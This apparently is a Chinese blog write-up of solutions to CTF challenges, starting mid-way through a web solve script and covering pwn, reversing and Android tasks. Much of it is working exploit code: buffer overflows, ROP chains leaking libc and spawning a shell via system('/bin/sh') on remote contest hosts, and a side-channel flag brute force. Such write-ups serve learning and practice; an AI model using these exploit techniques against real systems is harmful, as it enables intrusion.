        print('[*] Brute forcing the flag\'s note ID...')
        leakedFlagNoteId = str()
        while len(leakedFlagNoteId) < self.FLAG_NOTE_ID_LENGTH:
            for character in self.CHARACTER_SET:
                print(f'[*] Brute forcing character "{character}" | Current leaked flag note ID: {leakedFlagNoteId}', end='\r')
                fullLeakedNoteId = leakedFlagNoteId + character
                response = requests.get(f'{self.baseUrl}{self.SEARCH_NOTE_ID_ROUTE}{fullLeakedNoteId}')

                isCorrectCharacter = True if response.status_code == self.CORRECT_CHARACTER_STATUS_CODE else False
                isIncorrectCharacter = True if response.status_code == self.INCORRECT_CHARACTER_STATUS_CODE else False                        

                if isIncorrectCharacter:
                    isCorrectFinalCharacter = True if response.json()['Message'] == self.CORRECT_FINAL_CHARACTER_MESSAGE else False
                    if isCorrectFinalCharacter:
                        leakedFlagNoteId += character
                        break

                if not isCorrectCharacter:
                    continue

                leakedFlagNoteId += character
                break

        if len(leakedFlagNoteId) != self.FLAG_NOTE_ID_LENGTH:
            print('\n[-] Couldn\'t brute force the flag\'s note ID')
            exit(0)

        self.leakedFlagNoteId = leakedFlagNoteId
        print(f'\n[+] The flag\'s note ID has been brute forced! Note ID: {self.leakedFlagNoteId}')

    def viewFlagNote(self):
        flagNoteId = self.leakedFlagNoteId
        response = requests.get(f'{self.baseUrl}{self.VIEW_NOTE_ROUTE}{flagNoteId}')
        soup = BeautifulSoup(response.text, 'html.parser')

        flagText = soup.find('p').text
        isMatchedFlag = search(self.FLAG_FORMAT_REGEX_PATTERN, flagText)
        if not isMatchedFlag:
            print('\n[-] Couldn\'t view the flag\'s note')
            exit(0)

        flag = isMatchedFlag.group(1)
        print(f'[+] The flag note has been viewed! Here\'s the flag: {flag}')

    def solve(self):
        self.injectPayloadToProtoBufSchema()
        self.pollutePeernameAttributeAddress()

        self.bruteForceNoteIdViaErrorBasedOracle()
        self.viewFlagNote()

def argumentParser():
    parser = argparse.ArgumentParser(description='A solve script for web challenge "required notes" at bi0sCTF 2024.')
    parser.add_argument('-b', '--baseurl', metavar='<Base URL>', help='The instance\'s base URL. For example: https://ch15340143281.ch.eng.run', required=True)

    return parser.parse_args()

if __name__ == '__main__':
    args = argumentParser()
    solver = Solver(args.baseurl)
    solver.solve()

后续:因为有人搜出来这个脚本,于是侧信道关掉了,这个脚本用不了,但是我的没用到侧信道,所以能直接打

pwn

从零开始的pwn。。。最难的一个方向

babystack

最基础的溢出

from pwn import *

io = remote("nc1.ctfplus.cn",11093)
system_addr = 0x4006E6 #后门函数的位置

io.sendlineafter("Please input the length of your name", b"-1")     #输入-1,转换为size_t后变成4294967295
io.recvuntil("What's u name?")
payload = b'a' * (0x10 + 8) + p64(system_addr)#加8是覆盖旧的基址指针,然后加上返回地址
io.sendline(payload)
io.interactive()

dizzy

差不多其实是逆向

from pwn import *
context.log_level='debug'
p=remote('nc1.ctfplus.cn', 37472)
flag="PvvN| 1S S0 GREAT!;/bin/sh\x00\x00"
print(len(flag))
for i in range(7):
    a=i*4
    p.sendline(str(u32(flag[a:a+4])-99))
for i in range(13):
    p.sendline('1')

p.interactive()

baby_rop

libc泄露

找pop rdi位置

(myenv) root@dkhkljCldvhMynf:~# ROPgadget --binary pwn |grep "pop rdi"
0x0000000000400733 : pop rdi ; ret

通过puts泄露出read地址

搜索相应的libc,然后计算基址和system/bin/sh的地址

不过这里搜索有点怪,试了很多次才找到正确的libc

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

io= remote("nc1.ctfplus.cn", 23027)
elf = ELF("pwn")
offest = 0x20
rdi_ret_addr = 0x400733
rsi_ret_addr = 0x400731 
puts_plt = elf.plt['puts']
read_got = elf.got['read']
main_addr = elf.sym['main']
payload = b'a'*(offest+8)+p64(rdi_ret_addr)+p64(read_got)+p64(puts_plt)+p64(main_addr)
#将read_got放进rdi,然后读取,最后返回到main函数
io.recvuntil('Pull up your sword and tell me u story!')
io.sendline(payload)
io.recv()
read_addr=u64(io.recv(6).ljust(8,b'\0'))
libc=LibcSearcher('read',read_addr)
libc_base = read_addr-libc.dump('read')
system_addr = libc_base+libc.dump('system')
sh_addr = libc_base+libc.dump("str_bin_sh")
payload1= b'a'*(offest+8)+p64(rdi_ret_addr)+p64(sh_addr)+p64(system_addr)
#将计算好偏移量的/bin/sh存入rdi,然后system调用
io.sendline(payload1)
io.interactive()

libcsearch截图

encrypted_stack

首先是给了个n和e,要求写20次密码题

直接分解即可,然后当成密码题去写

p=261571747
q=361571773

找pop rdi和ret

(myenv) root@dkhkljCldvhMynf:~# ROPgadget --binary encrypted_stack |grep "pop rdi"
0x0000000000400952 : pop rdi ; ret
(myenv) root@dkhkljCldvhMynf:~# ROPgadget --binary encrypted_stack |grep "ret"
0x00000000004006e1 : ret

input you name那个函数要打两次,第一次获取puts函数地址,第二次跳到sh

这里用这个网站找了一下偏移量,猜测跟上一题(baby_rop)用的libc是一样的

libc database search

查找libc网页

from pwn import *
import libnum
context.log_level="debug"
io=remote("nc1.ctfplus.cn", 27624)
elf=ELF("encrypted_stack")

n=94576960329497431
e=65537
p=261571747
q=361571773
phin=(p-1)*(q-1)
d=libnum.invmod(e,phin)

io.recvuntil("input key\n")
for i in range(20):
	c=int(io.recvuntil("\n")[:-1])
	m=pow(c,d,n)
	io.sendline(str(m))
	io.recvline()

puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
vuln_addr=0x400B30
pop_rdi=0x400952
ret=0x4006e1

io.recvuntil("input you name:\n")
payload=b"a"*0x48+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
#覆盖返回地址,用pop rdi来将puts_got存入rdi寄存器,然后puts_plt来返回puts的地址(相当于puts(puts@got)),最后返回到漏洞函数
io.sendline(payload)
puts_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\0"))
print("puts_addr=="+hex(puts_addr))
libc_base = puts_addr - 0x6f6a0    # puts 偏移
system = libc_base + 0x453a0       # system 偏移
binsh = libc_base + 0x18ce57       # /bin/sh 偏移

io.recvuntil("input you name:\n")
payload=b"a"*0x48+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
#将/bin/sh地址存入rdi,用ret对齐(16字节)最后调用system
io.sendline(payload)

io.interactive()

不过这里其实不用对齐,因为系统版本太老了(乌班图16.04),没有太多安全限制

cmp

梳理好的反编译程序

沙盒规则

各种保护 白名单允许openread系统调用,开启RELROPIE

提示侧信道攻击,猜测是一个个字节去比对flag是否正确,通过程序退出状态来判断是否判断正确(web里也有类似的手法,就是盲注)

一开始想写shellcode,后面发现行不通,只能用rop链打

允许输入内容进y数组,而且读取的flag大小跟y数组相同,所以只要把猜测的flag放进y然后调用strcmp即可

不过strcmp返回的是函数指针,要用j_strcmp(去libc里面找),此时返回的就是0或1了

从libc里找到j_strcmp函数地址

如果相同就会把rax设置为0,巧的是此时调用syscall就是调用read

不过read还需其他参数,分别放进

  • rdi=0:文件描述符(标准输入)

  • rsi:缓冲区地址(my_flag_addr+0x40

  • rdx=1:读取的字节数

但是这里有个,这个libc没有纯净的pop rdx; ret;

只有个pop rdx; pop r12; ret;

所以要额外清理一下

调用read之后,程序不会直接退出,可以通过p.recv(1, timeout=2)判断是否退出

如果退出了会报错

但是这里也有一个,就是第一次recv会收到\n

第二次的才是read

from pwn import *
import sys

context(os='linux', arch='amd64')
context.log_level = 'error'

libc = ELF("./libc.so.6")

def try_flag(flag):
    try:
        #p = process("./pwn")
        p = remote("nc1.ctfplus.cn", 32730)
        p.recvuntil(b"puts address:")
        puts_leak = int(p.recvline().strip(), 16)
        p.recvuntil(b"flag:")
        flag_addr = int(p.recvline().strip(), 16)
        p.recvuntil(b"y:")
        my_flag_addr = int(p.recvline().strip(), 16)
        log.info(f"libc_base: {hex(libc_base)}")
        log.info(f"flag_addr: {hex(flag_addr)}")
        log.info(f"my_flag_addr: {hex(my_flag_addr)}")
        
        # Gadgets
        libc_base = puts_leak - libc.sym['puts']
        pop_rdi = libc_base + 0x2a3e5       # pop rdi; ret;
        pop_rsi = libc_base + 0x2be51       # pop rsi; ret;
        pop_rdx_r12 = libc_base + 0x11f2e7  # pop rdx; pop r12; ret;
        j_strcmp = libc_base + 0x28690      # j_strcmp
        syscall= libc_base + 0x29db4		# syscall
        
        # 溢出
        payload = b'A' * 0x28
        # 比较
        payload += p64(pop_rdi)
        payload += p64(my_flag_addr)
        payload += p64(pop_rsi)
        payload += p64(flag_addr)
        payload += p64(j_strcmp)
        # read
        payload += p64(pop_rdi)
        payload += p64(0)                   # fd=0 (stdin)
        payload += p64(pop_rsi)
        payload += p64(my_flag_addr+0x40)   # Buffer 
        payload += p64(pop_rdx_r12)
        payload += p64(1)                   # length=1
        payload += p64(0)                   # r12 (garbage)
        payload += p64(syscall)             # syscall
        
        p.sendafter(b"Guess", flag)
        p.sendline(payload)
        #p.interactive()
        try:
            if p.recv(1, timeout=2):
                p.recv(1, timeout=2)#坑
                p.close()
                return True
        except:
            p.close()
            return False
    except:
        return False

flag = "ynuctf{"
charset = "qazwsxedcrfvtgbyhnujmikolp1234567890{}-QAZWSXEDCRFVTGBYHNUJMIKOLP_!@#$%^&*()_+|~`"

while not flag.endswith('}'):
    for c in charset:
        current_guess = flag + c
        sys.stdout.write(f"\rTrying: {current_guess}")
        sys.stdout.flush()
        if try_flag(current_guess):
            flag = current_guess
            print(f"\nSuccess: {flag}")
            break
    else:
        print("\nFailed to find next character")
        break

print(f"Final flag: {flag}")

然后就看着flag一个个爆出来就行了

re

re0-从零开始的逆向,全靠ai辅助解题,感觉挺好玩的(防ak题除外)

ez_map

前面是读取输入,然后给main_validatePath函数

跟进去

大概就是遇到#就失败,终点$算成功

找到map即可

然后照着走就行了

路径WDDDWWAAAWAASAAWWW

对了,源码里面泄露的flag是假的,真正的flag

ynuctf{WDDDWWAAAWAASAAWWW}

ez_apk

反编译一下

package com.example.ez_apk;

import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
    private static final String SECRET_KEY = "ynuCTF_CloudEver";
    private static final String TARGET_ENCRYPTED = "RpCFpywZhFRfuAGBxz6wlY/sTELIEx9rUgMJbswe0gxSQtisQ9AyFUbSgbM9fxUN";

    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        final EditText etInput = (EditText) findViewById(R.id.etInput);
        Button btnCheck = (Button) findViewById(R.id.btnCheck);
        final TextView tvResult = (TextView) findViewById(R.id.tvResult);
        btnCheck.setOnClickListener(new View.OnClickListener() { // from class: com.example.ez_apk.MainActivity$$ExternalSyntheticLambda0
            @Override // android.view.View.OnClickListener
            public final void onClick(View view) {
                MainActivity.this.m68lambda$onCreate$0$comexampleez_apkMainActivity(etInput, tvResult, view);
            }
        });
    }

    /* renamed from: lambda$onCreate$0$com-example-ez_apk-MainActivity, reason: not valid java name */
    /* synthetic */ void m68lambda$onCreate$0$comexampleez_apkMainActivity(EditText etInput, TextView tvResult, View v) {
        String input = etInput.getText().toString();
        if (input.isEmpty()) {
            Toast.makeText(this, "请输入内容", 0).show();
            return;
        }
        try {
            String encrypted = encrypt(input);
            if (encrypted.equals(TARGET_ENCRYPTED)) {
                tvResult.setText("验证成功 ✅");
            } else {
                tvResult.setText("验证失败 ❌\n加密结果:" + encrypted);
            }
        } catch (Exception e) {
            e.printStackTrace();
            tvResult.setText("加密出错:" + e.getMessage());
        }
    }

    private String encrypt(String strToEncrypt) throws Exception {
        SecretKeySpec secretKey = new SecretKeySpec(SECRET_KEY.getBytes(StandardCharsets.UTF_8), "AES");
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        cipher.init(1, secretKey);
        byte[] encryptedBytes = cipher.doFinal(strToEncrypt.getBytes(StandardCharsets.UTF_8));
        return Base64.getEncoder().encodeToString(encryptedBytes);
    }
}

AES直接就能解出flag

from Crypto.Cipher import AES
import base64

encrypted_data = "RpCFpywZhFRfuAGBxz6wlY/sTELIEx9rUgMJbswe0gxSQtisQ9AyFUbSgbM9fxUN"
key = "ynuCTF_CloudEver".encode('utf-8')
assert len(key) == 16, "密钥长度错误"
cipher = AES.new(key, AES.MODE_ECB)
encrypted_bytes = base64.b64decode(encrypted_data)
decrypted_bytes = cipher.decrypt(encrypted_bytes)
pad_length = decrypted_bytes[-1]
plaintext = decrypted_bytes[:-pad_length]
print("解密后的Flag:", plaintext.decode('utf-8'))

ez_pyd

看到xor什么的,猜测逻辑大概就是读取key然后异或

那么只需要拿到key即可 但是直接静态分析是没有key的(有点难找,所以选择用xor小特性)

这里的pyd相当于动态链接库,安装python3.10,把脚本和pyd放到同一个文件就能导入

from xor import encrypt

def guess_xor_key():
    test_cases = [
        ("\x00" * 32, "全零明文")
    ]
    for plain, desc in test_cases:
        try:
            encrypted = encrypt(plain)
            hex_result = encrypted.encode("latin-1").hex()
            print(f"测试用例: {desc}")
            print(f"加密结果 (hex): {hex_result}")
            print("=" * 50)
        except Exception as e:
            print(f"加密失败 ({desc}): {e}")

if __name__ == "__main__":
    guess_xor_key()

由于异或的特性,直接发送全0的数据,得到的就是key了

那么从输出的16进制中提取出key

77656c63306d6532796e75637466

然后异或即可拿到flag

完整脚本

from xor import encrypt

zero_input = "\x00" * 32
encrypted_hex = encrypt(zero_input)
key_bytes = bytes.fromhex(encrypted_hex)

target_hex = "0e0b1900440b1e4511172a0d1b1228111e1a6f155540261c1015111404004d1e"
target_bytes = bytes.fromhex(target_hex)

decrypted = bytes([target_bytes[i] ^ key_bytes[i % len(key_bytes)] for i in range(len(target_bytes))])
print("flag:", decrypted.decode("utf-8", errors="replace"))

写的时候忘记了xor有个更好的特性,就是密文放进去再异或一边就是明文了。。。连key都不需要算

ez_jni

打开apk

发现对ez_jni库的调用

反编译这个库

发现密钥是硬编码的,加密方式为ARC4

其中密文是v15

进去看到密文

不过这里要注意小端序转换

最终脚本

from Crypto.Cipher import ARC4

def try_decrypt(hardcoded_hex, combination_name):
    try:
        hardcoded_cipher = bytes.fromhex(hardcoded_hex.replace(" ", ""))
        cipher = ARC4.new(b"jni_CloudEver")
        keystream = cipher.encrypt(b"\x00" * len(hardcoded_cipher))
        plaintext = bytes([hc ^ ks for hc, ks in zip(hardcoded_cipher, keystream)])
        print(f"[{combination_name}]")
        print("Hex:", plaintext.hex())
        print("ASCII:", plaintext.decode(errors="ignore")[:40], "\n")
    except Exception as e:
        print(f"Error in {combination_name}: {e}")
        
try_decrypt(
    "8D851F15AB765E28581A4B0D5788E1E0"
    "4F0BB13A8B39005D81D9C772BD0B90C3"
    "69D64CB87CB32E00",
    "小端序"
)

ez_llvm

main函数调用了一个奇奇怪怪的函数

进去之后是一大坨

将所有内容给ai,最终梳理出来的逻辑大概是生成key然后异或,与目标进行比对

key似乎动态生成,不清楚具体是什么

但是已知前缀是ynuctf{所以可以进行已知明文攻击来找规律

通过尝试,最后发现其实某位的key实际上就是下一位的明文

那么就可以链式推导出flag了

encrypted = [
    0x17, 0x1B, 0x16, 0x17, 0x12, 0x1D, 0x17, 0x5D,
    0x47, 0x1B, 0x32, 0x27, 0x48, 0x42, 0x2D, 0x2C,
    0x1B, 0x01, 0x0F, 0x12, 0x2B, 0x6E, 0x42, 0x2C,
    0x39, 0x13, 0x1B, 0x13, 0x28
]
known_plaintext = [0x79, 0x6E, 0x75, 0x63, 0x74, 0x66, 0x7B]
flag = known_plaintext.copy()

for i in range(len(known_plaintext) - 1, len(encrypted)-1):
    if i >= len(flag):
        break
    # 加密规则:encrypted[i] = flag[i] ^ flag[i+1]
    # 推导下一个字符:flag[i+1] = flag[i] ^ encrypted[i]
    next_char = flag[i] ^ encrypted[i]
    flag.append(next_char)
flag_str = ''.join([chr(c) for c in flag])
print("Flag:", flag_str)

最后

第一次从零开始学好多方向啊,感觉逆向和pwn其实还挺有趣的(虽然多半靠ai)

估计以后会稍微深入学一下

最后,欢迎各位师傅找我交流技术问题,邮箱[email protected]

博客也是刚建没多久,欢迎来看看,互换友链什么的

许可协议:  CC BY 4.0